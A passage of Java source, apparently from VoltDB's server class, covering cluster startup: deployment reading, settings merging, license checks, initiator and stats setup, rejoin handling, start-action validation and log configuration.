config.m_pathToDeployment = setupDefaultDeployment(hostLog, config.m_voltdbRoot);
config.m_deploymentDefault = true;
} catch (IOException e) {
VoltDB.crashLocalVoltDB("Failed to write default deployment.", false, null);
return;
}
}
ReadDeploymentResults readDepl = readPrimedDeployment(config);
if (config.m_startAction == StartAction.INITIALIZE) {
if (config.m_forceVoltdbCreate && m_paths.clean()) {
String msg = "Archived previous snapshot directory to " + m_paths.getSnapshoth() + ".1";
consoleLog.info(msg);
hostLog.info(msg);
}
stageDeploymemtFileForInitialize(config, readDepl.deployment);
stageInitializedMarker(config);
hostLog.info("Initialized VoltDB root directory " + config.m_voltdbRoot.getPath());
consoleLog.info("Initialized VoltDB root directory " + config.m_voltdbRoot.getPath());
VoltDB.exit(0);
}
if (config.m_startAction.isLegacy()) {
File rootFH = CatalogUtil.getVoltDbRoot(readDepl.deployment.getPaths());
File inzFH = new VoltFile(rootFH, VoltDB.INITIALIZED_MARKER);
if (inzFH.exists()) {
VoltDB.crashLocalVoltDB("Cannot use legacy start action "
+ config.m_startAction + " on voltdbroot "
+ rootFH + " that was initialized with the init command");
return;
}
//Case where you give primed deployment with -d look in ../../ for initialized marker.
//Also check if parents are config and voltdbroot
File cfile = (new File(config.m_pathToDeployment)).getParentFile();
if (cfile != null) {
rootFH = cfile.getParentFile();
if ("config".equals(cfile.getName()) && VoltDB.DBROOT.equals(rootFH.getName())) {
inzFH = new VoltFile(rootFH, VoltDB.INITIALIZED_MARKER);
if (inzFH.exists()) {
VoltDB.crashLocalVoltDB("Can not use legacy start action "
+ config.m_startAction + " on voltdbroot "
+ rootFH + " that was initialized with the init command");
return;
}
}
}
}
List<String> failed = m_paths.ensureDirectoriesExist();
if (!failed.isEmpty()) {
String msg = "Unable to access or create the following directories:\n - " +
Joiner.on("\n - ").join(failed);
VoltDB.crashLocalVoltDB(msg);
return;
}
if (config.m_hostCount == VoltDB.UNDEFINED) {
config.m_hostCount = readDepl.deployment.getCluster().getHostcount();
}
// set the mode first thing
m_mode = OperationMode.INITIALIZING;
m_config = config;
m_startMode = null;
// set a bunch of things to null/empty/new for tests
// which reusue the process
m_safeMpTxnId = Long.MAX_VALUE;
m_lastSeenMpTxnId = Long.MIN_VALUE;
m_clientInterface = null;
m_adminListener = null;
m_commandLog = new DummyCommandLog();
m_messenger = null;
m_opsRegistrar = new OpsRegistrar();
m_asyncCompilerAgent = null;
m_snapshotCompletionMonitor = null;
m_catalogContext = null;
m_partitionCountStats = null;
m_ioStats = null;
m_memoryStats = null;
m_commandLogStats = null;
m_statsManager = null;
m_restoreAgent = null;
m_recoveryStartTime = System.currentTimeMillis();
m_hostIdWithStartupCatalog = 0;
m_pathToStartupCatalog = m_config.m_pathToCatalog;
m_replicationActive = new AtomicBoolean(false);
m_configLogger = null;
ActivePlanRepository.clear();
updateMaxThreadsLimit();
// set up site structure
final int computationThreads = Math.max(2, CoreUtils.availableProcessors() / 4);
m_computationService =
CoreUtils.getListeningExecutorService(
"Computation service thread",
computationThreads, m_config.m_computationCoreBindings);
// Set std-out/err to use the UTF-8 encoding and fail if UTF-8 isn't supported
try {
System.setOut(new PrintStream(System.out, true, "UTF-8"));
System.setErr(new PrintStream(System.err, true, "UTF-8"));
} catch (UnsupportedEncodingException e) {
hostLog.fatal("Support for the UTF-8 encoding is required for VoltDB. This means you are likely running an unsupported JVM. Exiting.");
VoltDB.exit(-1);
}
m_snapshotCompletionMonitor = new SnapshotCompletionMonitor();
// use CLI overrides for testing hotfix version compatibility
if (m_config.m_versionStringOverrideForTest != null) {
m_versionString = m_config.m_versionStringOverrideForTest;
}
if (m_config.m_versionCompatibilityRegexOverrideForTest != null) {
m_hotfixableRegexPattern = m_config.m_versionCompatibilityRegexOverrideForTest;
}
if (m_config.m_buildStringOverrideForTest != null) {
m_buildString = m_config.m_buildStringOverrideForTest;
}
// Prime cluster settings from configuration parameters
// evaluate properties with the following sources in terms of priority
// 1) properties from command line options
// 2) properties from the cluster.properties files
// 3) properties from the deployment file
// this reads the file config/cluster.properties
ClusterSettings fromPropertyFile = ClusterSettings.create();
// handle case we recover clusters that were elastically expanded
if (m_config.m_startAction.doesRecover()) {
m_config.m_hostCount = fromPropertyFile.hostcount();
}
Map<String, String> fromCommandLine = m_config.asClusterSettingsMap();
Map<String, String> fromDeploymentFile = CatalogUtil.
asClusterSettingsMap(readDepl.deployment);
ClusterSettings clusterSettings = ClusterSettings.create(
fromCommandLine, fromPropertyFile.asMap(), fromDeploymentFile);
// persist the merged settings
clusterSettings.store();
m_clusterSettings.set(clusterSettings, 1);
MeshProber.Determination determination = buildClusterMesh(readDepl);
if (m_config.m_startAction == StartAction.PROBE) {
String action = "Starting a new database cluster";
if (determination.startAction.doesRejoin()) {
action = "Rejoining a running cluster";
} else if (determination.startAction == StartAction.JOIN) {
action = "Adding this node to a running cluster";
} else if (determination.startAction.doesRecover()) {
action = "Restarting the database cluster from the command logs";
}
hostLog.info(action);
consoleLog.info(action);
}
m_config.m_startAction = determination.startAction;
m_config.m_hostCount = determination.hostCount;
// determine if this is a rejoining node
// (used for license check and later the actual rejoin)
boolean isRejoin = m_config.m_startAction.doesRejoin();
m_rejoining = isRejoin;
m_rejoinDataPending = m_config.m_startAction.doesJoin();
m_joining = m_config.m_startAction == StartAction.JOIN;
if (isRejoin || m_joining) {
m_statusTracker.setNodeState(NodeState.REJOINING);
}
//Register dummy agents immediately
m_opsRegistrar.registerMailboxes(m_messenger);
//Start validating the build string in the background
final Future<?> buildStringValidation = validateBuildString(getBuildString(), m_messenger.getZK());
// race to create start action nodes and then verify theirs compatibility.
m_messenger.getZK().create(VoltZK.start_action, null, Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT, new ZKUtil.StringCallback(), null);
VoltZK.createStartActionNode(m_messenger.getZK(), m_messenger.getHostId(), m_config.m_startAction);
validateStartAction();
Map<Integer, String> hostGroups = null;
final int numberOfNodes = readDeploymentAndCreateStarterCatalogContext(config);
if (config.m_isEnterprise && m_config.m_startAction.doesRequireEmptyDirectories()
&& !config.m_forceVoltdbCreate) {
managedPathsEmptyCheck(config);
}
if (!isRejoin && !m_joining) {
hostGroups = m_messenger.waitForGroupJoin(numberOfNodes);
}
if (m_messenger.isPaused() || m_config.m_isPaused) {
setStartMode(OperationMode.PAUSED);
setMode(OperationMode.PAUSED);
}
// Create the thread pool here. It's needed by buildClusterMesh()
m_periodicWorkThread =
CoreUtils.getScheduledThreadPoolExecutor("Periodic Work", 1, CoreUtils.SMALL_STACK_SIZE);
m_periodicPriorityWorkThread =
CoreUtils.getScheduledThreadPoolExecutor("Periodic Priority Work", 1, CoreUtils.SMALL_STACK_SIZE);
Class<?> snapshotIOAgentClass = MiscUtils.loadProClass("org.voltdb.SnapshotIOAgentImpl", "Snapshot", true);
if (snapshotIOAgentClass != null) {
try {
m_snapshotIOAgent = (SnapshotIOAgent) snapshotIOAgentClass.getConstructor(HostMessenger.class, long.class)
.newInstance(m_messenger, m_messenger.getHSIdForLocalSite(HostMessenger.SNAPSHOT_IO_AGENT_ID));
m_messenger.createMailbox(m_snapshotIOAgent.getHSId(), m_snapshotIOAgent);
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to instantiate snapshot IO agent", true, e);
}
}
if (m_config.m_pathToLicense == null) {
m_licenseApi = MiscUtils.licenseApiFactory();
if (m_licenseApi == null) {
hostLog.fatal("Unable to open license file in default directories");
}
}
else {
m_licenseApi = MiscUtils.licenseApiFactory(m_config.m_pathToLicense);
if (m_licenseApi == null) {
hostLog.fatal("Unable to open license file in provided path: " + m_config.m_pathToLicense);
}
}
if (m_licenseApi == null) {
hostLog.fatal("Please contact [email protected] to request a license.");
VoltDB.crashLocalVoltDB("Failed to initialize license verifier. " +
"See previous log message for details.", false, null);
}
m_asyncCompilerAgent = new AsyncCompilerAgent(m_licenseApi);
try {
SimpleDateFormat sdf = new SimpleDateFormat("EEE MMM d, yyyy");
JSONObject jo = new JSONObject();
jo.put("trial",m_licenseApi.isTrial());
jo.put("hostcount",m_licenseApi.maxHostcount());
jo.put("commandlogging", m_licenseApi.isCommandLoggingAllowed());
jo.put("wanreplication", m_licenseApi.isDrReplicationAllowed());
jo.put("expiration", sdf.format(m_licenseApi.expires().getTime()));
m_licenseInformation = jo.toString();
} catch (JSONException ex) {
//Ignore
}
// Create the GlobalServiceElector. Do this here so we can register the MPI with it
// when we construct it below
m_globalServiceElector = new GlobalServiceElector(m_messenger.getZK(), m_messenger.getHostId());
// Start the GlobalServiceElector. Not sure where this will actually belong.
try {
m_globalServiceElector.start();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to start GlobalServiceElector", true, e);
}
// Always create a mailbox for elastic join data transfer
if (m_config.m_isEnterprise) {
long elasticHSId = m_messenger.getHSIdForLocalSite(HostMessenger.REBALANCE_SITE_ID);
m_messenger.createMailbox(elasticHSId, new SiteMailbox(m_messenger, elasticHSId));
}
if (m_joining) {
Class<?> elasticJoinCoordClass =
MiscUtils.loadProClass("org.voltdb.join.ElasticJoinNodeCoordinator", "Elastic", false);
try {
Constructor<?> constructor = elasticJoinCoordClass.getConstructor(HostMessenger.class, String.class);
m_joinCoordinator = (JoinCoordinator) constructor.newInstance(m_messenger, VoltDB.instance().getVoltDBRootPath());
m_messenger.registerMailbox(m_joinCoordinator);
m_joinCoordinator.initialize(m_catalogContext.getDeployment().getCluster().getKfactor());
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to instantiate join coordinator", true, e);
}
}
/*
* Construct all the mailboxes for things that need to be globally addressable so they can be published
* in one atomic shot.
*
* The starting state for partition assignments are statically derived from the host id generated
* by host messenger and the k-factor/host count/sites per host. This starting state
* is published to ZK as the topology metadata node.
*
* On join and rejoin the node has to inspect the topology meta node to find out what is missing
* and then update the topology listing itself as the replica for those partitions.
* Then it does a compare and set of the topology.
*
* Ning: topology may not reflect the true partitions in the cluster during join. So if another node
* is trying to rejoin, it should rely on the cartographer's view to pick the partitions to replace.
*/
JSONObject topo = getTopology(config.m_startAction, hostGroups, m_joinCoordinator);
m_partitionsToSitesAtStartupForExportInit = new ArrayList<>();
try {
// IV2 mailbox stuff
ClusterConfig clusterConfig = new ClusterConfig(topo);
m_configuredReplicationFactor = clusterConfig.getReplicationFactor();
m_cartographer = new Cartographer(m_messenger, m_configuredReplicationFactor,
m_catalogContext.cluster.getNetworkpartition());
List<Integer> partitions = null;
if (isRejoin) {
m_configuredNumberOfPartitions = m_cartographer.getPartitionCount();
partitions = m_cartographer.getIv2PartitionsToReplace(m_configuredReplicationFactor,
clusterConfig.getSitesPerHost());
if (partitions.size() == 0) {
VoltDB.crashLocalVoltDB("The VoltDB cluster already has enough nodes to satisfy " +
"the requested k-safety factor of " +
m_configuredReplicationFactor + ".\n" +
"No more nodes can join.", false, null);
}
}
else {
m_configuredNumberOfPartitions = clusterConfig.getPartitionCount();
partitions = ClusterConfig.partitionsForHost(topo, m_messenger.getHostId());
}
for (int ii = 0; ii < partitions.size(); ii++) {
Integer partition = partitions.get(ii);
m_iv2InitiatorStartingTxnIds.put( partition, TxnEgo.makeZero(partition).getTxnId());
}
m_iv2Initiators = createIv2Initiators(
partitions,
m_config.m_startAction,
m_partitionsToSitesAtStartupForExportInit);
m_iv2InitiatorStartingTxnIds.put(
MpInitiator.MP_INIT_PID,
TxnEgo.makeZero(MpInitiator.MP_INIT_PID).getTxnId());
// Pass the local HSIds to the MPI so it can farm out buddy sites
// to the RO MP site pool
List<Long> localHSIds = new ArrayList<>();
for (Initiator ii : m_iv2Initiators.values()) {
localHSIds.add(ii.getInitiatorHSId());
}
m_MPI = new MpInitiator(m_messenger, localHSIds, getStatsAgent());
m_iv2Initiators.put(MpInitiator.MP_INIT_PID, m_MPI);
// Make a list of HDIds to join
Map<Integer, Long> partsToHSIdsToRejoin = new HashMap<>();
for (Initiator init : m_iv2Initiators.values()) {
if (init.isRejoinable()) {
partsToHSIdsToRejoin.put(init.getPartitionId(), init.getInitiatorHSId());
}
}
OnDemandBinaryLogger.path = VoltDB.instance().getVoltDBRootPath();
if (isRejoin) {
SnapshotSaveAPI.recoveringSiteCount.set(partsToHSIdsToRejoin.size());
hostLog.info("Set recovering site count to " + partsToHSIdsToRejoin.size());
m_joinCoordinator = new Iv2RejoinCoordinator(m_messenger,
partsToHSIdsToRejoin.values(),
VoltDB.instance().getVoltDBRootPath(),
m_config.m_startAction == StartAction.LIVE_REJOIN);
m_joinCoordinator.initialize(m_catalogContext.getDeployment().getCluster().getKfactor());
m_messenger.registerMailbox(m_joinCoordinator);
if (m_config.m_startAction == StartAction.LIVE_REJOIN) {
hostLog.info("Using live rejoin.");
}
else {
hostLog.info("Using blocking rejoin.");
}
} else if (m_joining) {
m_joinCoordinator.setPartitionsToHSIds(partsToHSIdsToRejoin);
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB(e.getMessage(), true, e);
}
// do the many init tasks in the Inits class
Inits inits = new Inits(m_statusTracker, this, 1);
inits.doInitializationWork();
// Need the catalog so that we know how many tables so we can guess at the necessary heap size
// This is done under Inits.doInitializationWork(), so need to wait until we get here.
// Current calculation needs pro/community knowledge, number of tables, and the sites/host,
// which is the number of initiators (minus the possibly idle MPI initiator)
checkHeapSanity(MiscUtils.isPro(), m_catalogContext.tables.size(),
(m_iv2Initiators.size() - 1), m_configuredReplicationFactor);
if (m_joining && m_config.m_replicationRole == ReplicationRole.REPLICA) {
VoltDB.crashLocalVoltDB("Elastic join is prohibited on a replica cluster.", false, null);
}
collectLocalNetworkMetadata();
/*
* Construct an adhoc planner for the initial catalog
*/
final CatalogSpecificPlanner csp = new CatalogSpecificPlanner(m_asyncCompilerAgent, m_catalogContext);
// Initialize stats
m_ioStats = new IOStats();
getStatsAgent().registerStatsSource(StatsSelector.IOSTATS,
0, m_ioStats);
m_memoryStats = new MemoryStats();
getStatsAgent().registerStatsSource(StatsSelector.MEMORY,
0, m_memoryStats);
getStatsAgent().registerStatsSource(StatsSelector.TOPO, 0, m_cartographer);
m_partitionCountStats = new PartitionCountStats(m_cartographer);
getStatsAgent().registerStatsSource(StatsSelector.PARTITIONCOUNT,
0, m_partitionCountStats);
m_initiatorStats = new InitiatorStats(m_myHostId);
m_liveClientsStats = new LiveClientsStats();
getStatsAgent().registerStatsSource(StatsSelector.LIVECLIENTS, 0, m_liveClientsStats);
m_latencyStats = new LatencyStats(m_myHostId);
getStatsAgent().registerStatsSource(StatsSelector.LATENCY, 0, m_latencyStats);
m_latencyHistogramStats = new LatencyHistogramStats(m_myHostId);
getStatsAgent().registerStatsSource(StatsSelector.LATENCY_HISTOGRAM,
0, m_latencyHistogramStats);
BalancePartitionsStatistics rebalanceStats = new BalancePartitionsStatistics();
getStatsAgent().registerStatsSource(StatsSelector.REBALANCE, 0, rebalanceStats);
KSafetyStats kSafetyStats = new KSafetyStats();
getStatsAgent().registerStatsSource(StatsSelector.KSAFETY, 0, kSafetyStats);
m_cpuStats = new CpuStats();
getStatsAgent().registerStatsSource(StatsSelector.CPU,
0, m_cpuStats);
// ENG-6321
m_commandLogStats = new CommandLogStats(m_commandLog);
getStatsAgent().registerStatsSource(StatsSelector.COMMANDLOG, 0, m_commandLogStats);
/*
* Initialize the command log on rejoin and join before configuring the IV2
* initiators. This will prevent them from receiving transactions
* which need logging before the internal file writers are
* initialized. Root cause of ENG-4136.
*
* If sync command log is on, not initializing the command log before the initiators
* are up would cause deadlock.
*/
if ((m_commandLog != null) && (m_commandLog.needsInitialization())) {
consoleLog.l7dlog(Level.INFO, LogKeys.host_VoltDB_StayTunedForLogging.name(), null);
}
else {
consoleLog.l7dlog(Level.INFO, LogKeys.host_VoltDB_StayTunedForNoLogging.name(), null);
}
if (m_commandLog != null && (isRejoin || m_joining)) {
//On rejoin the starting IDs are all 0 so technically it will load any snapshot
//but the newest snapshot will always be the truncation snapshot taken after rejoin
//completes at which point the node will mark itself as actually recovered.
//
// Use the partition count from the cluster config instead of the cartographer
// here. Since the initiators are not started yet, the cartographer still doesn't
// know about the new partitions at this point.
m_commandLog.initForRejoin(
m_catalogContext.cluster.getLogconfig().get("log").getLogsize(),
Long.MIN_VALUE,
m_configuredNumberOfPartitions,
true,
m_config.m_commandLogBinding, m_iv2InitiatorStartingTxnIds);
}
// Create the client interface
try {
InetAddress clientIntf = null;
InetAddress adminIntf = null;
if (!m_config.m_externalInterface.trim().equals("")) {
clientIntf = InetAddress.getByName(m_config.m_externalInterface);
//client and admin interfaces are same by default.
adminIntf = clientIntf;
}
//If user has specified on command line host:port override client and admin interfaces.
if (m_config.m_clientInterface != null && m_config.m_clientInterface.trim().length() > 0) {
clientIntf = InetAddress.getByName(m_config.m_clientInterface);
}
if (m_config.m_adminInterface != null && m_config.m_adminInterface.trim().length() > 0) {
adminIntf = InetAddress.getByName(m_config.m_adminInterface);
}
m_clientInterface = ClientInterface.create(m_messenger, m_catalogContext, m_config.m_replicationRole,
m_cartographer,
m_configuredNumberOfPartitions,
clientIntf,
config.m_port,
adminIntf,
config.m_adminPort,
m_config.m_timestampTestingSalt);
} catch (Exception e) {
VoltDB.crashLocalVoltDB(e.getMessage(), true, e);
}
// DR overflow directory
if (VoltDB.instance().getLicenseApi().isDrReplicationAllowed()) {
try {
Class<?> ndrgwClass = null;
ndrgwClass = Class.forName("org.voltdb.dr2.DRProducer");
Constructor<?> ndrgwConstructor = ndrgwClass.getConstructor(File.class, File.class, boolean.class, int.class, int.class);
m_producerDRGateway =
(ProducerDRGateway) ndrgwConstructor.newInstance(
new VoltFile(VoltDB.instance().getDROverflowPath()),
new VoltFile(VoltDB.instance().getSnapshotPath()),
m_replicationActive.get(),
m_configuredNumberOfPartitions,m_catalogContext.getClusterSettings().hostcount());
m_producerDRGateway.start();
m_producerDRGateway.blockOnDRStateConvergence();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to load DR system", true, e);
}
}
else {
// set up empty stats for the DR Producer
getStatsAgent().registerStatsSource(StatsSelector.DRPRODUCERNODE, 0,
new DRProducerStatsBase.DRProducerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRPRODUCERPARTITION, 0,
new DRProducerStatsBase.DRProducerPartitionStatsBase());
}
createDRConsumerIfNeeded();
/*
* Configure and start all the IV2 sites
*/
try {
final String serializedCatalog = m_catalogContext.catalog.serialize();
boolean createMpDRGateway = true;
for (Initiator iv2init : m_iv2Initiators.values()) {
iv2init.configure(
getBackendTargetType(),
m_catalogContext,
serializedCatalog,
m_catalogContext.getDeployment().getCluster().getKfactor(),
csp,
m_configuredNumberOfPartitions,
m_config.m_startAction,
getStatsAgent(),
m_memoryStats,
m_commandLog,
m_producerDRGateway,
iv2init != m_MPI && createMpDRGateway, // first SPI gets it
m_config.m_executionCoreBindings.poll());
if (iv2init != m_MPI) {
createMpDRGateway = false;
}
}
// LeaderAppointer startup blocks if the initiators are not initialized.
// So create the LeaderAppointer after the initiators.
boolean expectSyncSnapshot = m_config.m_replicationRole == ReplicationRole.REPLICA && config.m_startAction == StartAction.CREATE;
m_leaderAppointer = new LeaderAppointer(
m_messenger,
m_configuredNumberOfPartitions,
m_catalogContext.getDeployment().getCluster().getKfactor(),
m_catalogContext.cluster.getFaultsnapshots().get("CLUSTER_PARTITION"),
topo,
m_MPI,
kSafetyStats,
expectSyncSnapshot
);
m_globalServiceElector.registerService(m_leaderAppointer);
} catch (Exception e) {
Throwable toLog = e;
if (e instanceof ExecutionException) {
toLog = ((ExecutionException)e).getCause();
}
VoltDB.crashLocalVoltDB("Error configuring IV2 initiator.", true, toLog);
}
// Create the statistics manager and register it to JMX registry
m_statsManager = null;
try {
final Class<?> statsManagerClass =
MiscUtils.loadProClass("org.voltdb.management.JMXStatsManager", "JMX", true);
if (statsManagerClass != null && !DISABLE_JMX) {
m_statsManager = (StatsManager)statsManagerClass.newInstance();
m_statsManager.initialize();
}
} catch (Exception e) {
//JMXStatsManager will log and we continue.
}
try {
m_snapshotCompletionMonitor.init(m_messenger.getZK());
} catch (Exception e) {
hostLog.fatal("Error initializing snapshot completion monitor", e);
VoltDB.crashLocalVoltDB("Error initializing snapshot completion monitor", true, e);
}
/*
* Make sure the build string successfully validated
* before continuing to do operations
* that might return wrongs answers or lose data.
*/
try {
buildStringValidation.get();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to validate cluster build string", false, e);
}
if (!isRejoin && !m_joining) {
try {
m_messenger.waitForAllHostsToBeReady(m_catalogContext.getClusterSettings().hostcount());
} catch (Exception e) {
hostLog.fatal("Failed to announce ready state.");
VoltDB.crashLocalVoltDB("Failed to announce ready state.", false, null);
}
}
if (!m_joining && (m_cartographer.getPartitionCount()) != m_configuredNumberOfPartitions) {
for (Map.Entry<Integer, ImmutableList<Long>> entry :
getSiteTrackerForSnapshot().m_partitionsToSitesImmutable.entrySet()) {
hostLog.info(entry.getKey() + " -- "
+ CoreUtils.hsIdCollectionToString(entry.getValue()));
}
VoltDB.crashGlobalVoltDB("Mismatch between configured number of partitions (" +
m_configuredNumberOfPartitions + ") and actual (" +
m_cartographer.getPartitionCount() + ")",
true, null);
}
schedulePeriodicWorks();
m_clientInterface.schedulePeriodicWorks();
// print out a bunch of useful system info
logDebuggingInfo(m_config.m_adminPort, m_config.m_httpPort, m_httpPortExtraLogMessage, m_jsonEnabled);
// warn the user on the console if k=0 or if no command logging
if (m_configuredReplicationFactor == 0) {
consoleLog.warn("This is not a highly available cluster. K-Safety is set to 0.");
}
boolean usingCommandLog = m_config.m_isEnterprise
&& (m_catalogContext.cluster.getLogconfig() != null)
&& (m_catalogContext.cluster.getLogconfig().get("log") != null)
&& m_catalogContext.cluster.getLogconfig().get("log").getEnabled();
if (!usingCommandLog) {
// figure out if using a snapshot schedule
boolean usingPeridoicSnapshots = false;
for (SnapshotSchedule ss : m_catalogContext.database.getSnapshotschedule()) {
if (ss.getEnabled()) {
usingPeridoicSnapshots = true;
}
}
// print the right warning depending on durability settings
if (usingPeridoicSnapshots) {
consoleLog.warn("Durability is limited to periodic snapshots. Command logging is off.");
}
else {
consoleLog.warn("Durability is turned off. Command logging is off.");
}
}
// warn if cluster is partitionable, but partition detection is off
if ((m_catalogContext.cluster.getNetworkpartition() == false) &&
(m_configuredReplicationFactor > 0)) {
hostLog.warn("Running a redundant (k-safe) cluster with network " +
"partition detection disabled is not recommended for production use.");
// we decided not to include the stronger language below for the 3.0 version (ENG-4215)
//hostLog.warn("With partition detection disabled, data may be lost or " +
// "corrupted by certain classes of network failures.");
}
assert (m_clientInterface != null);
m_clientInterface.initializeSnapshotDaemon(m_messenger, m_globalServiceElector);
// Start elastic join service
try {
if (m_config.m_isEnterprise && TheHashinator.getCurrentConfig().type == HashinatorType.ELASTIC) {
Class<?> elasticServiceClass = MiscUtils.loadProClass("org.voltdb.join.ElasticJoinCoordinator",
"Elastic join", false);
if (elasticServiceClass == null) {
VoltDB.crashLocalVoltDB("Missing the ElasticJoinCoordinator class file in the enterprise " +
"edition", false, null);
}
Constructor<?> constructor =
elasticServiceClass.getConstructor(HostMessenger.class,
ClientInterface.class,
Cartographer.class,
BalancePartitionsStatistics.class,
String.class,
int.class,
Supplier.class);
m_elasticJoinService =
(ElasticJoinService) constructor.newInstance(
m_messenger,
m_clientInterface,
m_cartographer,
rebalanceStats,
VoltDB.instance().getCommandLogSnapshotPath(),
m_catalogContext.getDeployment().getCluster().getKfactor(),
m_clusterSettings);
m_elasticJoinService.updateConfig(m_catalogContext);
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to instantiate elastic join service", false, e);
}
// set additional restore agent stuff
if (m_restoreAgent != null) {
m_restoreAgent.setInitiator(new Iv2TransactionCreator(m_clientInterface));
}
// Start the stats agent at the end, after everything has been constructed
m_opsRegistrar.setDummyMode(false);
m_configLogger = new Thread(new ConfigLogging());
m_configLogger.start();
scheduleDailyLoggingWorkInNextCheckTime();
}
}
@Override
public void hostsFailed(Set<Integer> failedHosts)
{
final ScheduledExecutorService es = getSES(true);
if (es != null && !es.isShutdown()) {
es.submit(new Runnable() {
@Override
public void run()
{
// First check to make sure that the cluster still is viable before
// before allowing the fault log to be updated by the notifications
// generated below.
Set<Integer> hostsOnRing = new HashSet<>();
if (!m_leaderAppointer.isClusterKSafe(hostsOnRing)) {
VoltDB.crashLocalVoltDB("Some partitions have no replicas. Cluster has become unviable.",
false, null);
}
// Cleanup the rejoin blocker in case the rejoining node failed.
// This has to run on a separate thread because the callback is
// invoked on the ZooKeeper server thread.
//
// I'm trying to be defensive to have this cleanup code run on
// all live nodes. One of them will succeed in cleaning up the
// rejoin ZK nodes. The others will just do nothing if the ZK
// nodes are already gone. If this node is still initializing
// when a rejoining node fails, there must be a live node that
// can clean things up. It's okay to skip this if the executor
// services are not set up yet.
for (int hostId : failedHosts) {
CoreZK.removeRejoinNodeIndicatorForHost(m_messenger.getZK(), hostId);
}
}
});
}
}
class DailyLogTask implements Runnable {
@Override
public void run() {
m_myHostId = m_messenger.getHostId();
hostLog.info(String.format("Host id of this node is: %d", m_myHostId));
hostLog.info("URL of deployment info: " + m_config.m_pathToDeployment);
hostLog.info("Cluster uptime: " + MiscUtils.formatUptime(getClusterUptime()));
logDebuggingInfo(m_config.m_adminPort, m_config.m_httpPort, m_httpPortExtraLogMessage, m_jsonEnabled);
// log system setting information
logSystemSettingFromCatalogContext();
scheduleDailyLoggingWorkInNextCheckTime();
}
}
/**
* Get the next check time for a private member in log4j library, which is not a reliable idea.
* It adds 30 seconds for the initial delay and uses a periodical thread to schedule the daily logging work
* with this delay.
* @return
*/
void scheduleDailyLoggingWorkInNextCheckTime() {
DailyRollingFileAppender dailyAppender = null;
Enumeration<?> appenders = Logger.getRootLogger().getAllAppenders();
while (appenders.hasMoreElements()) {
Appender appender = (Appender) appenders.nextElement();
if (appender instanceof DailyRollingFileAppender){
dailyAppender = (DailyRollingFileAppender) appender;
}
}
final DailyRollingFileAppender dailyRollingFileAppender = dailyAppender;
Field field = null;
if (dailyRollingFileAppender != null) {
try {
field = dailyRollingFileAppender.getClass().getDeclaredField("nextCheck");
field.setAccessible(true);
} catch (NoSuchFieldException e) {
hostLog.error("Failed to set daily system info logging: " + e.getMessage());
}
}
final Field nextCheckField = field;
long nextCheck = System.currentTimeMillis();
// the next part may throw exception, current time is the default value
if (dailyRollingFileAppender != null && nextCheckField != null) {
try {
nextCheck = nextCheckField.getLong(dailyRollingFileAppender);
scheduleWork(new DailyLogTask(),
nextCheck - System.currentTimeMillis() + 30 * 1000, 0, TimeUnit.MILLISECONDS);
} catch (Exception e) {
hostLog.error("Failed to set daily system info logging: " + e.getMessage());
}
}
}
class StartActionWatcher implements Watcher {
@Override
public void process(WatchedEvent event) {
if (m_mode == OperationMode.SHUTTINGDOWN) return;
m_es.submit(new Runnable() {
@Override
public void run() {
validateStartAction();
}
});
}
}
private void validateStartAction() {
try {
ZooKeeper zk = m_messenger.getZK();
boolean initCompleted = zk.exists(VoltZK.init_completed, false) != null;
List<String> children = zk.getChildren(VoltZK.start_action, new StartActionWatcher(), null);
if (!children.isEmpty()) {
for (String child : children) {
byte[] data = zk.getData(VoltZK.start_action + "/" + child, false, null);
if (data == null) {
VoltDB.crashLocalVoltDB("Couldn't find " + VoltZK.start_action + "/" + child);
}
String startAction = new String(data);
if ((startAction.equals(StartAction.JOIN.toString()) ||
startAction.equals(StartAction.REJOIN.toString()) ||
startAction.equals(StartAction.LIVE_REJOIN.toString())) &&
!initCompleted) {
int nodeId = VoltZK.getHostIDFromChildName(child);
if (nodeId == m_messenger.getHostId()) {
VoltDB.crashLocalVoltDB("This node was started with start action " + startAction + " during cluster creation. "
+ "All nodes should be started with matching create or recover actions when bring up a cluster. "
+ "Join and rejoin are for adding nodes to an already running cluster.");
} else {
hostLog.warn("Node " + nodeId + " tried to " + startAction + " cluster but it is not allowed during cluster creation. "
+ "All nodes should be started with matching create or recover actions when bring up a cluster. "
+ "Join and rejoin are for adding nodes to an already running cluster.");
}
}
}
}
} catch (KeeperException e) {
hostLog.error("Failed to validate the start actions", e);
} catch (InterruptedException e) {
VoltDB.crashLocalVoltDB("Interrupted during start action validation:" + e.getMessage(), true, e);
}
}
private class ConfigLogging implements Runnable {
private void logConfigInfo() {
hostLog.info("Logging config info");
File configInfoDir = getConfigDirectory();
configInfoDir.mkdirs();
File configInfo = new File(configInfoDir, "config.json");
byte jsonBytes[] = null;
try {
JSONStringer stringer = new JSONStringer();
stringer.object();
stringer.key("workingDir").value(System.getProperty("user.dir"));
stringer.key("pid").value(CLibrary.getpid());
stringer.key("log4jDst").array();
Enumeration<?> appenders = Logger.getRootLogger().getAllAppenders();
while (appenders.hasMoreElements()) {
Appender appender = (Appender) appenders.nextElement();
if (appender instanceof FileAppender){
stringer.object();
stringer.key("path").value(new File(((FileAppender) appender).getFile()).getCanonicalPath());
if (appender instanceof DailyRollingFileAppender) {
stringer.key("format").value(((DailyRollingFileAppender)appender).getDatePattern());
}
stringer.endObject();
}
}
Enumeration<?> loggers = Logger.getRootLogger().getLoggerRepository().getCurrentLoggers();
while (loggers.hasMoreElements()) {
Logger logger = (Logger) loggers.nextElement();
appenders = logger.getAllAppenders();
while (appenders.hasMoreElements()) {
Appender appender = (Appender) appenders.nextElement();
if (appender instanceof FileAppender){
stringer.object();
stringer.key("path").value(new File(((FileAppender) appender).getFile()).getCanonicalPath());
if (appender instanceof DailyRollingFileAppender) {
stringer.key("format").value(((DailyRollingFileAppender)appender).getDatePattern());
}
stringer.endObject();
}
}
}
stringer.endArray();
stringer.endObject();
JSONObject jsObj = new JSONObject(stringer.toString());
jsonBytes = jsObj.toString(4).getBytes(Charsets.UTF_8);
} catch (JSONException e) {
Throwables.propagate(e);
} catch (IOException e) {
e.printStackTrace();
